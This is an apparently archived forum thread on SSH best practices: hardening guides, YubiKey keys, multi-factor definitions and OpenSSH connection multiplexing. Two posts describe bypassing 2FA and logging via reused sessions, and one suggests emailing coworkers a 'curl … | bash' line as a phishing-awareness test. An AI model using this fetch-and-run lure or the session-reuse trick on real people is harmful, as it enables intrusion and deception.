SSH: Best practices • Hacker News Board

Re: SSH: Best practices

#11

Post by infodroid » Sun, Feb 07, 2016, 5:22 PM UTC

n1000 wrote: post #9

Still a big fan of the BetterCrypto guide: https://bettercrypto.org/

I'm not sure what there is to recommend about this Applied Crypto Hardening guide, which seems to be in draft form. The section on SSH is just a couple of snippets from sshd config files with no explanation about the choice of parameters. And copy-pasting config file snippets from a random guide book hardly consistutes security best practice.

Re: SSH: Best practices

#12

Post by noondip » Sun, Feb 07, 2016, 5:37 PM UTC

Here's a brief guide for setting up SSH with YubiKey as a smartcard which complements this article nicely - https://github.com/drduh/YubiKey-Guide

Re: SSH: Best practices

#13

Post by pascalmemories » Sun, Feb 07, 2016, 5:40 PM UTC

STRML wrote: post #10

SSH's new AuthenticationMethods directive is extremely useful for pairing SSH keys with a password and/or 2FA. You should absolutely use keys everywhere, and encourage your users to encrypt their keys, but enforcing a password as well ensures that logins are "something you have" (the SSH key) and "something you know" (the password) as a sort of 2FA. As a cherry on top you can put the password in LDAP or RADIUS server…

Something you have plus 2 things you know does not turn 2FA into 3FA. It's still 2FA - it's just somethings you know instead of something you know.

3 FA is :

* Something you have (normally one OR MORE user IDs)

* Something you know (normally the associated password or passwords for the user ID(s))

* Something you are (normally biometric)

[edit: technically, it's multi-factor when using multiple user/passwords - here's a useful link https://pciguru.wordpress.com/2010/05/01/one-two-and-three-f...]

Re: SSH: Best practices

#14

Post by Hello71 » Sun, Feb 07, 2016, 5:50 PM UTC

LinuxBender wrote: post #8

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…

so... your point is "don't run untrusted code"?

Re: SSH: Best practices

#15

Post by mfontani » Sun, Feb 07, 2016, 6:09 PM UTC

How about https://github.com/ccontavalli/ssh-ident ? Is that still a "best practice", since the author doesn't mention it in this blog entry?

Re: SSH: Best practices

#16

Post by majewsky » Sun, Feb 07, 2016, 6:23 PM UTC

akerro wrote: post #3

I bookmarked something similar: https://stribika.github.io/2015/01/04/secure-secure-shell.ht...

The same link is somewhere in this guide, too. This guide has a broader scope, though.

Re: SSH: Best practices

#17

Post by whorleater » Sun, Feb 07, 2016, 6:32 PM UTC

Hello71 wrote: post #14

LinuxBender wrote: post #8

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…

so... your point is "don't run untrusted code"?

"Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".

Re: SSH: Best practices

#18

Post by clinta » Sun, Feb 07, 2016, 6:50 PM UTC

FiloSottile wrote: post #7

clinta wrote: post #6

Earlier quoted context omitted.

Public keys being exposed isn't something I think needs to be mitigated. That's the whole point, they're public.

Security is not binary. In this case it depends on whether disclosing your identity to the servers you connect to is a problem in your threat model. Saying "they are public so it's ok" is technical oversimplification.

It's not binary, but if your security depends on your public key being secret, something else must be wrong. It's the same as someone who depends on their IP addresses being secret. That's not something you can count on, and your security would be better served by designing your infrastructure with the assumption that it's totally public information.

Re: SSH: Best practices

#19

Post by LinuxBender » Sun, Feb 07, 2016, 7:24 PM UTC

Hello71 wrote: post #14

LinuxBender wrote: post #8

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…

so... your point is "don't run untrusted code"?

You would think that is common sense, right? :-) I so wish more people thought like you.

Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like:

    curl -s https://tinyvpn.org/ | bash

Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.

Re: SSH: Best practices

#20

Post by antoniomika » Sun, Feb 07, 2016, 7:34 PM UTC

I remember reading about a tool Instagram used for SSH management, but that might not be a "best practice". (http://instagram-engineering.tumblr.com/post/11399488246/sim...)